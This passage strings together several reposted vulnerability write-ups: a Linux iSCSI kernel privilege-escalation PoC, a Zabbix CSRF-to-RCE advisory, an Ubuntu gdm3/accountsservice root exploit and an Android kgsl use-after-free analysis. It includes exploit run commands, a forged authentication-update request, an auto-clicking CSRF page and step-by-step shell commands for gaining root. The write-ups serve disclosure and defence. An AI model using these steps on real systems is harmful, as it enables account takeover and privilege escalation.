While this approach does allow the exploit to write to kernel memory at a controlled location, it does have a few caveats. The selected location must start with a NULL pointer. Otherwise, the item’s allocation will attempt to link the pointer at this value into the freelist. Subsequent allocations will then use this pointer causing memory corruption and likely a kernel panic. Additionally, the kernel message queue structures include a header of 0x30 bytes before the user controlled message body. As such, the exploit cannot control first 0x30 bytes that it writes.

Target Selection and Exploitation

With KASLR bypassed and the ability to write to arbitrary content to kernel memory, the next task is to use these primitives to obtain stronger kernel read/write primitives and escalate privileges. In order to do this, the exploit aims the arbitrary write at the ib_iser module’s iscsi_transport structure. As shown below, this structure contains a number of iSCSI netlink message handling function pointers, which the iSCSI subsystem calls with partially user controlled parameters. By modifying these function pointers, the exploit can call arbitrary functions with a few user controlled parameters.

struct iscsi_transport {
  int (*alloc_pdu) (struct iscsi_task *task, uint8_t opcode);
  int (*xmit_pdu) (struct iscsi_task *task);
  int (*set_path) (struct Scsi_Host *shost, struct iscsi_path *params);
  int (*set_iface_param) (struct Scsi_Host *shost, void *data,
    uint32_t len);
  int (*send_ping) (struct Scsi_Host *shost, uint32_t iface_num,
    uint32_t iface_type, uint32_t payload_size,
    uint32_t pid, struct sockaddr *dst_addr);
  int (*set_chap) (struct Scsi_Host *shost, void *data, int len);
  int (*new_flashnode) (struct Scsi_Host *shost, const char *buf,
    int len);
  int (*del_flashnode) (struct iscsi_bus_flash_session *fnode_sess);

Obtaining a Stable Kernel Read/Write Primitive

The exploit modifies the iscsi_transport struct function pointers as shown in the below figure. After the modifications, the send_ping and set_chap function pointers point to the seq_buf_to_user and seq_buf_putmem functions. The exploit uses these functions to obtain a stable kernel read and write primitive. These functions take a seq_buf structure, buffer, and length as parameters, and then read or write to kernel memory respectively. The passed in seq_buf defines where these functions will read from memory or write to memory. However, as can be seen in the struct definition above, the overwritten function pointers will pass a Scsi_Host struct as the first parameter, rather than the seq_buf that our exploit needs to provide. A simple workaround for this issue is to modify the Scsi_Host struct associated with our connection to resemble a seq_buf struct. As the beginning of the Scsi_Host struct does not contain any necessary values for the exploited functionality, the exploit uses the modified set_iface_param function pointer to call memcpy and overwrite the Scsi_Host struct. Afterwards, the seq_buf_to_user and seq_buf_putmem functions can be called to read or write kernel memory.

The exploit then uses the kernel read and write primitives to remove the overlapping freelist region from the 4096 kmalloc cache and fix some memory corruption that occurred as result of the overlapping allocations.

The ib_iser module’s iscsi_transport before and after the exploit’s modifications

Privilege Escalation

With the ability to call arbitrary functions and read/write kernel memory, root privileges can be obtained in several different ways. The exploit obtains privileged code execution by calling the kernel run_cmd function via a chained call to param_array_free. This kernel function takes a command to run and executes it as root in the kernel_t SELinux context. The exploit calls this function with a pointer to the /tmp/a.sh string in the iscsi_transport struct, causing it to run the post-escalation payload. As neither the privileged escalation or kernel read/write primitives directly dereference or execute memory in userland from the kernel, the exploit is able to bypass Supervisor Mode Execution Prevention (SMEP), Supervisor Mode Access Prevention (SMAP), and Kernel Page Table Isolation (KPTI).

While this exploit works on some Linux distributions, its technique will not work on others. Other Linux distributions protect the free list pointers in the heap to prevent exploitation (CONFIG_SLAB_FREELIST_HARDENED). This exploit takes advantage of the fact that some distributions do not include this config option. The exploit will need to be reworked using an alternative technique for this bug to be used to exploit a Linux distribution with this option enabled.


To test the provided PoC exploit, ensure you have a compatible RHEL and kernel version. You can check your release version with cat /etc/redhat-release and kernel version with uname -r, but the exploit will also detect and warn if you are on an unsupported version. Install the required packages and build the exploit, then copy the post-escalation script and run the exploit:

$ sudo yum install -y make gcc
$ make
$ cp a.sh /tmp/
$ chmod +x /tmp/a.sh
$ ./exploit

The exploit concludes by running a script at a hardcoded location (/tmp/a.sh) as root. The repository includes a demonstration script which creates a file owned by root in /tmp. The exploit is not 100% reliable, so may require multiple runs. Possible error conditions include warnings such as “Failed to detect kernel slide” and “Failed to overwrite iscsi_transport struct (read 0x0)”, and kernel panics. Output from a successful run is shown below:

$ ./exploit 
Got iscsi iser transport handle 0xffffffffc0e1a040
Setting up target heap buffer
Triggering overflow
Allocating controlled objects
Cleaning up
Running escalation payload

Due to the way the PoC is written, additional attempts to run either the same PoC or the send_pdu_oob PoC will fail gracefully (until the system is restarted).

$ ls -l /tmp/proof
-rwsrwxrwx. 1 root root 14 Jan 14 10:09 /tmp/proof

A PoC for the third vulnerability was developed as well. The send_pdu_oob PoC supplies a static large offset which causes a wild read into (likely) unmapped kernel memory, which causes the kernel to panic. The compiled PoC should be run with root privileges. Since the size and offset of the data read are both controlled, this PoC could be adapted to create an information leak by only leaking a small amount of information beyond the original heap buffer. The primary restriction on the usefulness of this bug is that the leaked data is not returned directly to the user, but is stored in another buffer to be sent as part of a later operation. It’s likely an attacker could design a dummy iSCSI target to receive the leaked information, but that is beyond the scope of this PoC.


Due to the non-deterministic nature of heap overflows, the first vulnerability could be used as an unreliable, local DoS. However, when combined with an information leak, this vulnerability can be further exploited as a LPE that allows an attacker to escalate from an unprivileged user account to root. A separate information leak is not necessary, though, since this vulnerability can be used to leak kernel memory as well. The second vulnerability (kernel pointer leak) is less impactful and could only serve as a potential information leak. Similarly, the third vulnerability (out-of-bounds read) is also limited to functioning as a potential information leak or even an unreliable local DoS.

Affected Systems

In order for these bugs to be exposed to userland, the scsi_transport_iscsi kernel module must be loaded. This module is automatically loaded when a socket call that creates a NETLINK_ISCSI socket is performed. Additionally, at least one iSCSI transport must be registered with the iSCSI subsystem. The ib_iser transport module will be loaded automatically in some configurations when an unprivileged user creates a NETLINK_RDMA socket. Figure 5 shows a flowchart which helps to determine if you are impacted by this vulnerability.Impact Flowchart

On CentOS 8, RHEL 8, and Fedora systems, unprivileged users can automatically load the required modules if the rdma-core package is installed. This package is a dependency of several popular packages, and as such is included in a large number of systems. The following CentOS 8 and RHEL 8 Base Environments include this package in their initial installation:

  • Server with Graphical User Interface (GUI)
  • Workstation
  • Virtualized Host

The following CentOS 8 and RHEL 8 Base Environments do NOT include this package in their initial installation, but it can be installed afterwards via yum:

  • Server
  • Minimal Install
  • Custom OS

The package is installed in the base install of Fedora 31 Workstation, but not Fedora 31 Server.

On Debian and Ubuntu systems, the rdma-core package will only automatically load the two required kernel modules if the RDMA hardware is available. As such, the vulnerability is much more limited in scope.


The vulnerabilities discussed above are from a very old driver in the Linux kernel. This driver became more visible due to a fairly new technology (RDMA) and default behavior based on compatibility instead of risk. The Linux kernel loads modules either because new hardware is detected or because a kernel function detects that a module is missing. The latter implicit autoload case is more likely to be abused and is easily triggered by an attacker, enabling them to increase the attack surface of the kernel.

In the context of these specific vulnerabilities, the presence of loaded kernel modules relating to the iSCSI subsystem on machines that don’t have attached iSCSI devices is a potential indicator of compromise. An even greater indicator is the presence of the following log message in a host’s system logs:

  localhost kernel: fill_read_buffer: dev_attr_show+0x0/0x40 returned bad count

While this message does not guarantee that the vulnerabilities described in this report have been exploited, it does indicate that some kind of buffer overflow has occurred.

This risk vector has been known for years, and there are several defenses against module autoloading including grsecurity’s MODHARDEN and the eventual mainstream implementation of modules_autoload_mode, the modules_disabled sysctl variable, distributions blacklisting particular protocol families, and the use of machine-specific module blacklists. These are separate options that can be used in a defense-in-depth strategy, where server administrators and developers can take both reactive and proactive measures.

The bottom line is that this is still a real problem area for the Linux kernel because of the tension between compatibility and security. Administrators and operators need to understand the risks, their defensive options, and how to apply those options in order to effectively protect their systems.


  • 02/17/2021 — Notified Linux Security Team
  • 02/17/2021 — Applied for and received CVE numbers
  • 03/07/2021 — Patches became available in mainline Linux kernel
  • 03/12/2021 — Public disclosure (NotQuite0DayFriday)

GRIMM’s Private Vulnerability Disclosure (PVD) Program

GRIMM’s Private Vulnerability Disclosure (PVD) program is a subscription-based vulnerability intelligence feed. This high-impact feed serves as a direct pipeline from GRIMM’s vulnerability researchers to its subscribers, facilitating the delivery of actionable intelligence on 0-day threats as they are discovered by GRIMM. We created the PVD program to allow defenders to get ahead of the curve, rather than always having to react to events outside of their control.

The goal of this program is to provide value to subscribers in the following forms:

  • Advanced notice of 0-days prior to public disclosure. This affords subscribers time to get mitigations in place before the information is publicly available.
  • In-depth, technical documentation of each vulnerability.
  • PoC vulnerability exploitation code for:
    • Verifying specific configurations are vulnerable
    • Testing defenses to determine their effectiveness in practice
    • Training
      • Blue teams on writing robust mitigations and detections
      • Red teams on the art of exploitation
  • A list of any indicators of compromise
  • A list of actionable mitigations that can be put in place to reduce the risk associated with each vulnerability.

The research is done entirely by GRIMM, and the software and hardware selected by us is based on extensive threat modeling and our team’s deep background in reverse engineering and vulnerability research. Requests to look into specific software or hardware are welcome, however we can not guarantee the priority of such requests. In addition to publishing our research to subscribers, GRIMM also privately discloses each vulnerability to its corresponding vendor(s) in an effort to help patch the underlying issues.

If interested in getting more information about the PVD program, reach out to pvd@grimm-co.com.

Working with GRIMM

Want to join us and perform more analyses like this? We’re hiring. Need help finding or analyzing your bugs? Feel free to contact us.

CVE-2021-27927: CSRF to RCE Chain in Zabbix

RCE Chain in Zabbix

Original text horizon3ai


Zabbix is an enterprise IT network and application monitoring solution. In a routine review of its source code, we discovered a CSRF (cross-site request forgery) vulnerability in the authentication component of the Zabbix UI. Using this vulnerability, an unauthenticated attacker can take over the Zabbix administrator’s account if the attacker can persuade the Zabbix administrator to follow a malicious link. This vulnerability is exploitable in all browsers even with the default SameSite=Lax cookie protection in place. The vulnerability is fixed in Zabbix versions 4.0.28rc1, 5.0.8rc1, 5.2.4rc1, and 5.4.0alpha1.


The impact of this vulnerability is high. While user interaction is required to exploit the vulnerability, the consequence of a successful exploit is full takeover of the Zabbix administrator account. Administrative access to Zabbix provides attackers a wealth of information about other devices on the network and the ability to execute arbitrary commands on the Zabbix server. In certain configurations, attackers can also execute arbitrary commands on hosts being monitored by Zabbix.

CVSS vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

As of this writing, there are ~20K instances of Zabbix on the Internet that can be found with the Shodan dork «html: Zabbix».


Upgrade to at least Zabbix version 4.0.28rc1, 5.0.8rc1, 5.2.4rc1, or 5.4.0alpha1.


A CSRF exploit works as follows:

  • First, a user (the victim) logs in to a vulnerable web site (the target). «Logged in» in this case simply means the user’s browser has stored within it a valid session cookie or basic authentication credential for the target web site. The browser application doesn’t necessarily need to be open.  
  • Next, an attacker uses social engineering to persuade the victim user to follow a link to a malicious attacker-controlled web site. There are a variety of methods to achieve this such as phishing emails or links in chat, etc.  
  • When the victim visits the malicious web site, HTML/JavaScript code from the malicious site gets loaded into the victim’s browser. This code then sends an API request to the target web site. The request originating from the malicious web site looks legitimate to the victim’s browser, and as a result, the victim’s browser sends the user’s session cookies along with the request.  
  • The malicious request lands at the target web application. The target web application can’t tell that the request is coming from a malicious source. The target web application carries out the requested action on behalf of the attacker. CSRF attacks often try to abuse authentication-related actions such as creating or modifying users or changing passwords.

CSRF Attack Prevention

The most commonly used defense against CSRF attacks is to use anti-CSRF tokens. These tokens are randomly generated pieces of data that are sent as part of requests from an application’s frontend code to the backend. The backend verifies both the anti-CSRF token and the user’s session cookie. The token can be transferred as a HTTP header or in the request body, but not as a cookie. This method, if implemented correctly, defeats CSRF attacks because it becomes very difficult for attackers to craft forged requests that include the correct anti-CSRF token.

Zabbix uses an anti-CSRF token in the form of a sid parameter that’s passed in the request body. For instance the request to update the Zabbix Admin user’s password to the value zabbix1 looks like this:

This request fails if the sid parameter is missing or incorrect.

Another measure that offers some protection against CSRF attacks is the Same-Site cookie attribute. This is a setting that browsers use to determine when it’s ok to transfer cookies as part of cross-site requests to a site. This attribute has three values: StrictLax, and None.

  • Same-Site=Strict: Never send cookies as part of cross-site requests.
  • Same-Site=Lax: Only send cookies as part of cross-site requests if they are GET requests and effect a top-level navigation, i.e. result in a change to the browser’s address bar. Clicking a link is considered a top-level navigation, while loading an image or script is not. GET requests are generally considered safe because they are not supposed to mutate any backend state.
  • Same-Site-None: Send cookies along for all cross-site requests.

Web application developers can choose to set the value of the Same-Site attribute explicitly as part of sending a cookie to the front-end after a user authenticates. If the attribute is not set explicitly, modern browsers will default the value to Lax. This is the case with Zabbix — the Same-Site attribute is not set and it’s defaulted to Lax.

Zabbix CVE-2021-27927

As mentioned above, Zabbix uses anti-CSRF tokens, and these tokens are effective against CSRF attacks that attempt to exploit actions such as adding and modifying users and roles. However there was one important scenario we found in which anti-CSRF tokens were not being validated: an update to the application’s authentication settings.

This form controls the type of authentication that is used to login to Zabbix, which can be one of «Internal» or «LDAP». In the event of LDAP, one can also set the details of the LDAP provider such as the LDAP host and port, base DN, etc.

The backend controller class CControllerAuthenticationUpdate that handles this form submission had token validation turned off, as shown below:

In addition, and just as important, we found that in Zabbix any parameters submitted in a request body via POST could equivalently be submitted as URL query parameters via a GET. This meant that the following forged GET request, which is missing the sid parameter could work just as well as a legitimate POST request that contains the sid.

GET /zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=!&saml_auth_enabled=0&update=Update

The above request updates the authentication method to LDAP and sets various LDAP attributes.


To carry out a fully attack, an attacker would do the following:

First, set up an attacker-controlled LDAP server that is network accessible to the target Zabbix application. For our example, we used an Active Directory server at We also provisioned a user called «Admin» (which matches the built-in Zabbix admin user name) inside Active Directory with the password «Z@bb1x!».  

Then, host a web site containing a malicious HTML page. For our example, we had an HTML page that contained a link with the forged cross-site request. Upon loading the page, the link would be automatically clicked via JavaScript. This meets the requirement for «top-level navigation.»


  <p>Any web site</p>
  <a id='link' href='!&saml_auth_enabled=0&update=Update'></a>


Finally, entice the victim Zabbix Admin user to click on link to the malicious site. Once this happens, the Zabbix Admin would see that the authentication settings on the site were automatically updated like this:

At this point an attacker can log in with his/her own Admin user credential. Incidentally, the victim Zabbix Admin’s session still remains valid until he/she logs out.

One interesting aspect of this particular CSRF attack is that it’s not blind. This is because Zabbix validates the LDAP server connection using a test user and password as part of processing the authentication settings form submission. An attacker can know immediately if the CSRF attack was successful by virtue of the Zabbix application connecting to his/her own LDAP server. Once the test connection takes place, an attacker could automate logging into the victim’s Zabbix server and carrying out further actions.

Remote Command Execution

Once an attacker has gained admin access, he/she can gain remote command execution privileges easily because it is a built-in feature of the product. The Scripts section of the UI contains a place to drop in any commands to be executed on either the Zabbix server, a Zabbix server proxy, or a Zabbix agent (agents run on hosts being monitored by Zabbix).

For instance, to get a reverse shell on the Zabbix server, an attacker could modify the built-in Detect Operating Systems script to include a perl reverse shell payload like this:

Then execute the script off the dashboard page:

To get reverse shell:

Depending on the configuration, an attacker can also run remote commands at the server proxy or agent. More details here from the Zabbix documentation.


  • Jan. 3, 2021: Vulnerability disclosed to vendor
  • Jan. 13, 2021: Vulnerability fixed in code by vendor
  • Feb. 22, 2021: New releases made available by vendor across all supported versions
  • Mar. 3, 2021: Public disclosure  


How to get root on Ubuntu 20.04 by pretending nobody’s /home


Original text by Kevin Backhouse

I am a fan of Ubuntu, so I would like to help make it as secure as possible. I have recently spent quite a bit of time looking for security vulnerabilities in Ubuntu’s system services, and it has mostly been an exercise in frustration. I have found (and reported) a few issues, but the majority have been low severity. Ubuntu is open source, which means that many people have looked at the source code before me, and it seems like all the easy bugs have already been found. In other words, I don’t want this blog post to give you the impression that Ubuntu is full of trivial security bugs; that’s not been my impression so far.

This blog post is about an astonishingly straightforward way to escalate privileges on Ubuntu. With a few simple commands in the terminal, and a few mouse clicks, a standard user can create an administrator account for themselves. I have made a short demo video, to show how easy it is.

It’s unusual for a vulnerability on a modern operating system to be this easy to exploit. I have, on some occasions, written thousands of lines of code to exploit a vulnerability. Most modern exploits involve complicated trickery, like using a memory corruption vulnerability to forge fake objects in the heap, or replacing a file with a symlink with microsecond accuracy to exploit a TOCTOU vulnerability. So these days it’s relatively rare to find a vulnerability that doesn’t require coding skills to exploit. I also think the vulnerability is easy to understand, even if you have no prior knowledge of how Ubuntu works or any security research experience.

Disclaimer: For someone to exploit this vulnerability, they need access to the graphical desktop session of the system, so this issue affects desktop users only.

Exploitation steps

Here is a description of the exploitation steps, as shown in the demo video.

First, open a terminal and create a symlink in your home directory:

ln -s /dev/zero .pam_environment

(If that doesn’t work because a file named .pam_environment already exists, then just temporarily rename the old file so that you can restore it later.)

Next, open “Region & Language” in the system settings and try to change the language. The dialog box will freeze, so just ignore it and go back to the terminal. At this point, a program named accounts-daemon is consuming 100% of a CPU core, so your computer may become sluggish and start to get hot.

In the terminal, delete the symlink. Otherwise you might lock yourself out of your own account!

rm .pam_environment

The next step is to send a SIGSTOP signal to accounts-daemon to stop it from thrashing that CPU core. But to do that, you first need to know accounts-daemon’s process identifier (PID). In the video, I do that by running top, which is a utility for monitoring the running processes. Because accounts-daemon is stuck in an infinite loop, it quickly goes to the top of the list. Another way to find the PID is with the pidof utility:

$ pidof accounts-daemon

Armed with accounts-daemon’s PID, you can use kill to send the SIGSTOP signal:

kill -SIGSTOP 597

Your computer can take a breather now.

Here is the crucial step. You’re going to log out of your account, but first you need to set a timer to reset accounts-daemon after you have logged out. Otherwise you’ll just be locked out and the exploit will fail. (Don’t worry if this happens: everything will be back to normal after a reboot.) This is how to set the timer:

nohup bash -c "sleep 30s; kill -SIGSEGV 597; kill -SIGCONT 597"

The nohup utility is a simple way to leave a script running after you have logged out. This command tells it to run a bash script that does three things:

  1. Sleep for 30 seconds. (You just need to give yourself enough time to log out. I set it to 10 seconds for the video.)
  2. Send accounts-daemon a SIGSEGV signal, which will make it crash.
  3. Send accounts-daemon a SIGCONT signal to deactivate the SIGSTOP, which you sent earlier. The SIGSEGV won’t take effect until the SIGCONT is received.

Once completed, log out and wait a few seconds for the SIGSEGV to detonate. If the exploit is successful, then you will be presented with a series of dialog boxes which let you create a new user account. The new user account is an administrator account. (In the video, I run id to show that the new user is a member of the sudo group, which means that it has root privileges.)


How does it work?

Stay with me! Even if you have no prior knowledge of how Ubuntu (or more specifically, GNOME) works, I reckon I can explain this vulnerability to you. There are actually two bugs involved. The first is in accountsservice, which is a service that manages user accounts on the computer. The second is in GNOME Display Manager (gdm3), which, among other things, handles the login screen. I’ll explain each of these bugs separately below.

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

The accountsservice daemon (accounts-daemon) is a system service that manages user accounts on the machine. It can do things like create a new user account or change a user’s password, but it can also do less security-sensitive things like change a user’s icon or their preferred language. Daemons are programs that run in the background and do not have their own user interface. However, the systems settings dialog box can communicate with accounts-daemon via a message system known as D-Bus.

System Settings: Users

System Settings: Region & Language

In the exploit, I use the systems settings dialog box to change the language. A standard user is allowed to change that setting on their own account — administrator privileges are not required. Under the hood, the systems services dialog box sends the org.freedesktop.Accounts.User.SetLanguage command to accounts-daemon, via D-Bus.

It turns out that Ubuntu uses a modified version of accountsservice that includes some extra code that doesn’t exist in the upstream version maintained by freedesktop. Ubuntu’s patch adds a function named is_in_pam_environment, which looks for a file named .pam_environment in the user’s home directory and reads it. The denial of service vulnerability works by making .pam_environment a symlink to /dev/zero/dev/zero is a special file that doesn’t actually exist on disk. It is provided by the operating system and behaves like an infinitely long file in which every byte is zero. When is_in_pam_environment tries to read .pam_environment, it gets redirected to /dev/zero by the symlink, and then gets stuck in an infinite loop because /dev/zero is infinitely long.

There’s a second part to this bug. The exploit involves crashing accounts-daemon by sending it a SIGSEGV. Surely a standard user shouldn’t be allowed to crash a system service like that? They shouldn’t, but accounts-daemon inadvertently allows it by dropping privileges just before it starts reading the user’s .pam_environment. Dropping privileges means that the daemon temporarily forfeits its root privileges, adopting instead the lower privileges of the user. Ironically, that’s intended to be a security precaution, the goal of which is to protect the daemon from a malicious user who does something like symlinking their .pam_environment to /etc/shadow, which is a highly sensitive file that standard users aren’t allowed to read. Unfortunately, when done incorrectly, it also grants the user permission to send the daemon signals, which is why we’re able to send accounts-daemon a SIGSEGV.

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

GNOME Display Manager (gdm3) is a fundamental component of Ubuntu’s user interface. It handles things like starting and stopping user sessions when they log in and out. It also manages the login screen.

gdm3 login screen

Another thing handled by gdm3 is the initial setup of a new computer. When you install Ubuntu on a new computer, one of the first things that you need to do is create a user account. The initial user account needs to be an administrator so that you can continue setting up the machine, doing things like configuring the wifi and installing applications. Here is a screenshot of the initial setup screen (taken from the exploit video):


The dialog box that you see in the screenshot is a separate application, called gnome-initial-setup. It is triggered by gdm3 when there are zero user accounts on the system, which is the expected scenario during the initial setup of a new computer. How does gdm3 check how many users there are on the system? You probably already guessed it: by asking accounts-daemon! So what happens if accounts-daemon is unresponsive? The relevant code is here.

It uses D-Bus to ask accounts-daemon how many users there are, but since accounts-daemon is unresponsive, the D-Bus method call fails due to a timeout. (In my testing, the timeout took around 20 seconds.) Due to the timeout error, the code does not set the value of priv->have_existing_user_accounts. Unfortunately, the default value of priv->have_existing_user_accounts is false, not true, so now gdm3 thinks that there are zero user accounts and it launches gnome-initial-setup.

How did I find it?

I have a confession to make: I found this bug completely by accident. This is the message that I sent to my colleagues at approximately 10pm BST on October 14:

I just got LPE by accident, but I am not quite sure how to reproduce it. 🤦

Here’s what happened: I had found a couple of denial-of-service vulnerabilities in accountsservice. I considered them low severity, but was writing them up for a vulnerability report to send to Ubuntu. Around 6pm, I stopped work and closed my laptop lid. Later in the evening, I opened the laptop lid and discovered that I was locked out of my account. I had been experimenting with the .pam_environment symlink and had forgotten to delete it before closing the lid. No big deal: I used Ctrl-Alt-F4 to open a console, logged in (the console login was not affected by the accountsservice DOS), and killed accounts-daemon with a SIGSEGV. I didn’t need to use sudo due to the privilege dropping vulnerability. The next thing I knew, I was looking at the gnome-initial-setup dialog boxes, and was amazed to discover that I was able to create a new user with administrator privileges.

Unfortunately, when I tried to reproduce the same sequence of steps, I couldn’t get it to work again. I checked the system logs for clues, but there wasn’t much information because I didn’t have gdm’s debug messages enabled. The exploit that I have since developed requires the user to log out of their account, but I definitely didn’t do that on the evening of October 14. So it remains a mystery how I accidentally triggered the bug that evening.

Later that evening, I sent further messages to my (US-based) colleagues describing what had happened. Talking about the dialog boxes helped to jog my memory about something that I had noticed recently. Many of the system services that I have been looking at use policykit to check whether the client is authorized to request an action. I had noticed a file called gnome-initial-setup.pkla, which is a policykit configuration file that grants a user named gnome-initial-setup the ability to do a number of security-sensitive things, such as mounting filesystems and creating new user accounts. So I said to my colleagues: “I wonder if it has something to do with gnome-initial-setup,” and Bas Alberts almost immediately jumped in with a hypothesis that turned out to be right on the money: “You tricked gdm into launching gnome-initial-setup, I reckon, which maybe happens if a gdm session can’t verify that an account already exists.”

After that, it was just a matter of finding the code in gdm3 that triggers gnome-initial-setup and figuring out how to trigger it while accounts-daemon is unresponsive. I found that the relevant code is triggered when a user logs out.

And that’s the story of how the end of my workday was the start of an 0-day!

One day short of a full chain: Part 1 — Android Kernel arbitrary code execution

Android Kernel arbitrary code execution

Original text by Man Yue Mo

In this series of posts, I’ll exploit three bugs that I reported last year: a use-after-free in the renderer of Chrome, a Chromium sandbox escape that was reported and fixed while it was still in beta, and a use-after-free in the Qualcomm msm kernel. Together, these three bugs form an exploit chain that allows remote kernel code execution by visiting a malicious website in the beta version of Chrome. While the full chain itself only affects beta version of Chrome, both the renderer RCE and kernel code execution existed in stable versions of the respective software. All of these bugs had been patched for quite some time, with the last one patched on the first of January.

Vulnerabilities used in the series

The three vulnerabilities that I’m going to use are the following. To achieve arbitrary kernel code execution from a compromised beta version of Chrome, I’ll use CVE-2020-11239, which is a use-after-free in the kgsl driver in the Qualcomm msm kernel. This vulnerability was reported in July 2020 to the Android security team as A-161544755 (GHSL-2020-375) and was patched in the Januray Bulletin. In the security bulletin, this bug was mistakenly associated with A-168722551, although the Android security team has since confirmed to acknowledge me as the original reporter of the issue. (However, the acknowledgement page had not been updated to reflect this at the time of writing.) For compromising Chrome, I’ll use CVE-2020-15972, a use-after-free in web audio to trigger a renderer RCE. This is a duplicate bug, for which an anonymous researcher reported about three weeks before I reported it as 1125635 (GHSL-2020-167). To escape the Chrome sandbox and gain control of the browser process, I’ll use CVE-2020-16045, which was reported as 1125614 (GHSL-2020-165). While the exploit uses a component that was only enabled in the beta version of Chrome, the bug would probably have made it to the stable version and be exploitable if it weren’t reported. Interestingly, the renderer bug CVE-2020-15972 was fixed in version 86.0.4240.75, the same version where the sandbox escape bug would have made into stable version of Chrome (if not reported), so these two bugs literally missed each other by one day to form a stable full chain.

Qualcomm kernel vulnerability

The vulnerability used in this post is a use-after-free in the kernel graphics support layer (kgsl) driver. This driver is used to provide an interface for apps in the userland to communicate with the Adreno gpu (the gpu that is used on Qualcomm’s snapdragon chipset). As it is necessary for apps to access this driver to render themselves, this is one of the few drivers that can be reached from third-party applications on all phones that use Qualcomm chipsets. The vulnerability itself can be triggered on all of these phones that have a kernel version 4.14 or above, which should be the case for many mid-high end phones released after late 2019, for example, Pixel 4, Samsung Galaxy S10, S20, and A71. The exploit in this post, however, could not be launched directly from a third party App on Pixel 4 due to further SELinux restrictions, but it can be launched from third party Apps on Samsung phones and possibly some others as well. The exploit in this post is largely developed with a Pixel 4 running AOSP built from source and then adapted to a Samsung Galaxy A71. With some adjustments of parameters, it should probably also work on flagship models like Samsung Galaxy S10 and S20 (Snapdragon version), although I don’t have those phones and have not tried it out myself.

The vulnerability here concerns the ioctl calls IOCTL_KGSL_GPUOBJ_IMPORT and IOCTL_KGSL_MAP_USER_MEM. These calls are used by apps to create shared memory between itself and the kgsl driver.

When using these calls, the caller specifies a user space address in their process, the size of the shared memory, as well as the type of memory objects to create. After making the ioctl call successfully, the kgsl driver would map the user supplied memory into the gpu’s memory space and be able to access the user supplied memory. Depending on the type of the memory specified in the ioctl call parameter, different mechanisms are used by the kernel to map and access the user space memory.

The two different types of memory are KGSL_USER_MEM_TYPE_ADDR, which would ask kgsl to pin the user memory supplied and perform direct I/O on those memory (see, for example, Performing Direct I/O section here). The caller can also specify the memory type to be KGSL_USER_MEM_TYPE_ION, which would use a direct memory access (DMA) buffer (for example, Direct Memory Access section here) allocated by the ion allocator to allow the gpu to access the DMA buffer directly. We’ll look at the DMA buffer a bit more later as it is important to both the vulnerability and the exploit, but for now, we just need to know that there are two different types of memory objects that can be created from these ioctl calls. When using these ioctl, a kgsl_mem_entry object will first be created, and then the type of memory is checked to make sure that the kgsl_mem_entry is correctly populated. In a way, these ioctl calls act like constructors of kgsl_mem_entry:

long kgsl_ioctl_gpuobj_import(struct kgsl_device_private *dev_priv,
		unsigned int cmd, void *data)
    entry = kgsl_mem_entry_create();
	if (param->type == KGSL_USER_MEM_TYPE_ADDR)
		ret = _gpuobj_map_useraddr(dev_priv->device, private->pagetable,
			entry, param);
	else if (param->type == KGSL_USER_MEM_TYPE_DMABUF)
		ret = _gpuobj_map_dma_buf(dev_priv->device, private->pagetable,
			entry, param, &fd);
		ret = -ENOTSUPP;

In particular, when creating a kgsl_mem_entry with DMA type memory, the user supplied DMA buffer will be «attached» to the gpu, which will then allow the gpu to share the DMA buffer. The process of sharing a DMA buffer with a device on Android generally looks like this (see this for the general process of sharing a DMA buffer with a device):

  1. The user creates a DMA buffer using the ion allocator. On Android, ion is the concrete implementation of DMA buffers, so sometimes the terms are used interchangeably, as in the kgsl code here, in which KGSL_USER_MEM_TYPE_DMABUF and KGSL_USER_MEM_TYPE_ION refers to the same thing.
  2. The ion allocator will then allocate memory from the ion heap, which is a special region of memory seperated from the heap used by the kmalloc family of calls. I’ll cover more about the ion heap later in the post.
  3. The ion allocator will return a file descriptor to the user, which is used as a handle to the DMA buffer.
  4. The user can then pass this file descriptor to the device via an appropriate ioctl call.
  5. The device then obtains the DMA buffer from the file descriptor via dma_buf_get and uses dma_buf_attach to attach it to itself.
  6. The device uses dma_buf_map_attachment to obtain the sg_table of the DMA buffer, which contains the locations and sizes of the backing stores of the DMA buffer. It can then use it to access the buffer.
  7. After this, both the device and the user can access the DMA buffer. This means that the buffer can now be modified by both the cpu (by the user) and the device. So care must be taken to synchronize the cpu view of the buffer and the device view of the buffer. (For example, the cpu may cache the content of the DMA buffer and then the device modified its content, resulting in stale data in the cpu (user) view) To do this, the user can use DMA_BUF_IOCTL_SYNC call of the DMA buffer to synchronize the different views of the buffer before and after accessing it.

When the device is done with the shared buffer, it is important to call the functions dma_buf_unmap_attachmentdma_buf_detach, and dma_buf_put to perform the appropriate clean up.

In the case of sharing DMA buffer with the kgsl driver, the sg_table that belongs to the DMA buffer will be stored in the kgsl_mem_entry as the field sgt:

static int kgsl_setup_dma_buf(struct kgsl_device *device,
				struct kgsl_pagetable *pagetable,
				struct kgsl_mem_entry *entry,
				struct dma_buf *dmabuf)
	sg_table = dma_buf_map_attachment(attach, DMA_TO_DEVICE);
	meta->table = sg_table;
	entry->priv_data = meta;
	entry->memdesc.sgt = sg_table;

On the other hand, in the case of a MAP_USER_MEM type memory object, the sg_table in memdesc.sgt is created and owned by the kgsl_mem_entry:

static int memdesc_sg_virt(struct kgsl_memdesc *memdesc, struct file *vmfile)
    //Creates an sg_table and stores it in memdesc->sgt
	ret = sg_alloc_table_from_pages(memdesc->sgt, pages, npages,
					0, memdesc->size, GFP_KERNEL);

As such, care must be taken with the ownership of memdesc->sgt when kgsl_mem_entry is destroyed. If the ioctl call somehow failed, then the memory object that is created will have to be destroyed. Depending on the type of the memory, the clean up logic will be different:

	if (param->type == KGSL_USER_MEM_TYPE_DMABUF) {
		entry->memdesc.sgt = NULL;


If we created an ION type memory object, then apart from the extra clean up that detaches the gpu from the DMA buffer, entry->memdesc.sgt is set to NULL before entering kgsl_sharedmem_free, which will free entry->memdesc.sgt:

void kgsl_sharedmem_free(struct kgsl_memdesc *memdesc)
	if (memdesc->sgt) {

	if (memdesc->pages)

